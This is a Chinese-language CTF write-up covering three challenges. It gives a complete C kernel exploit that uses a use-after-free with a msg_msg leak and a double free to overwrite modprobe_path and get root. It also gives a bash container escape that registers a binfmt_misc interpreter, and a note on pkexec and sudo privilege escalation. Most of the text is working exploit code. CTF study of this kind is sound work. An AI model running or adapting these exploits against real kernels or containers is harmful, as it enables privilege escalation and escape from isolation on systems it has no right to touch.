捅了天枢一晚上屁股也没捅到(
太久没打ctf了,手感冰凉,思路混乱(
正赛?问就是太难了不会做(
Digging into Kernel 3
一个任意size的uaf,不限制uaf的次数,并且没有打开slab_freelist_hardened
既然没有打开slab_freelist_hardened,那么double_free的任意地址写就是可行的,那么就需要我们泄露kernel地址
显然题目中没有给任何泄露手段,那么就需要struct msg来进行泄露
首先制作一个0x20大小的uaf,接着创建一个0x1018大小的struct msg
此时0x20部分的struct msg会被放入uaf中,将其free,分配一个struct shm_file_data
此时在输出struct msg就可以成功泄露kernel地址
特别要注意,由于内核关闭了CONFIG_CHECKPOINT_RESTORE,MSG_COPY无法使用
并且由于SElinux的开启,struct msg的security指针不能被破坏
因此进行uaf的结构体的前8个字节必须要为0,目前似乎仅有struct shm_file_data能满足条件
最后直接double_free写modprobe_path就行
EXP:
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/sched.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
struct request
{
int32_t idx;
int32_t size;
void *ptr;
};
int dev_fd;
uint64_t kernel_base, modprobe_path;
void err(char *error)
{
fprintf(stderr,error);
exit(-1);
}
int make_queue(key_t key,int msgflg)
{
int result;
if ((result=msgget(key,msgflg))==-1)
{
perror("[X] Msgget Failure");
exit(-1);
}
return result;
}
void send_msg(int msqid,void *msgp,size_t msgsz,int msgflg)
{
if (msgsnd(msqid,msgp,msgsz,msgflg)==-1)
{
perror("[X] Msgsend Failure");
exit(-1);
}
return;
}
ssize_t get_msg(int msqid,void *msgp,size_t msgsz,long msgtyp,int msgflg)
{
ssize_t result;
result=msgrcv(msqid,msgp,msgsz,msgtyp,msgflg);
if (result<0)
{
perror("[X] Msgrcv Failure");
exit(-1);
}
return result;
}
void remove_queue(int msqid,int cmd,struct msqid_ds *buf)
{
if ((msgctl(msqid,cmd,buf))==-1)
{
perror("[X] Msgctl Failure");
exit(-1);
}
}
int shmid_open()
{
int shmid;
if ((shmid=shmget(IPC_PRIVATE,100,0600))==-1)
{
puts("[X] Shmget Error");
exit(0);
}
char *shmaddr=shmat(shmid,NULL,0);
if (shmaddr==(void*)-1)
{
puts("[X] Shmat Error");
exit(0);
}
return shmid;
}
void new(int32_t idx, int32_t size, void *ptr)
{
struct request request_t;
request_t.idx = idx;
request_t.size = size;
request_t.ptr = ptr;
ioctl(dev_fd, 0xDEADBEEF, &request_t);
}
void delete(int32_t idx)
{
struct request request_t;
request_t.idx = idx;
ioctl(dev_fd, 0xC0DECAFE, &request_t);
}
void leak_kernel_base()
{
char *buf = malloc(0x2000);
uint64_t *recv_msg = malloc(0x2000);
int qid;
struct msg *message = (struct msg *)buf;
int size = 0x1018;
memset(buf, 0x61, 0x2000);
new(0, 0x20, buf);
delete(0);
memset(buf, 0x61, 0x2000);
qid = make_queue(IPC_PRIVATE, 0666|IPC_CREAT);
send_msg(qid, message, size-0x30, 0);
delete(0);
shmid_open();
get_msg(qid, (char *)recv_msg, size, 0, IPC_NOWAIT|MSG_NOERROR);
kernel_base = recv_msg[0x1fb] - 0x19ac6c0;
free(buf);
free(recv_msg);
}
void arbitrary_write()
{
uint64_t *buf = malloc(0x100);
memset(buf, 0, 0x100);
new(0, 0x20, buf);
delete(0);
delete(0);
buf[0x2] = kernel_base + 0x18510a0;
new(0, 0x20, buf);
new(0, 0x20, buf);
memset(buf, 0, 0x100);
strcpy((char *)buf, "/tmp/a");
new(0, 0x20, buf);
}
int main()
{
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/a");
system("chmod +x /tmp/a");
system("chmod +x /tmp/dummy");
dev_fd = open("/dev/rwctf",O_RDWR);
if (dev_fd < 0)
err("[X] Device Open Error");
leak_kernel_base();
modprobe_path = kernel_base + 0x18510a0;
printf("[+] kernel_base = 0x%lx\n", kernel_base);
printf("[+] modprobe_path = 0x%lx\n", modprobe_path);
arbitrary_write();
system("/tmp/dummy");
system("/bin/sh");
}
Be-a-Docker-Escaper-2
挂载了/proc/sys/fs/binfmt_misc,那么就可以通过注册新的解释器来逃逸
注册#!/bin/sh的解释器,然后再开启一个ssh链接就可以完成逃逸
参考链接: http://paper.vulsee.com/KCon/2021/Container%20escape%20in%202021.pdf
EXP:
#!/bin/bash
path=$(mount | grep upperdir)
path=${path##*upperdir=}
path=${path%%,*}
echo '#!/bin/bash' > /tmp/test.sh
echo '' >> /tmp/test.sh
echo 'cat /root/flag > '$path'/tmp/flag' >> /tmp/test.sh
chmod a+x /tmp/test.sh
echo ':sh:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::'$path'/tmp/test.sh:' > /binfmt_misc/register
Be-a-PK-LPE-Master
用户名: ubuntu 密码: root
ubuntu用户在sudo组里,sudo -i获取root shell
当然正解是利用pkexec提权,github上有很多直接可以利用
用户名和密码都是猜的,题目描述啥也没说,不是很懂这一题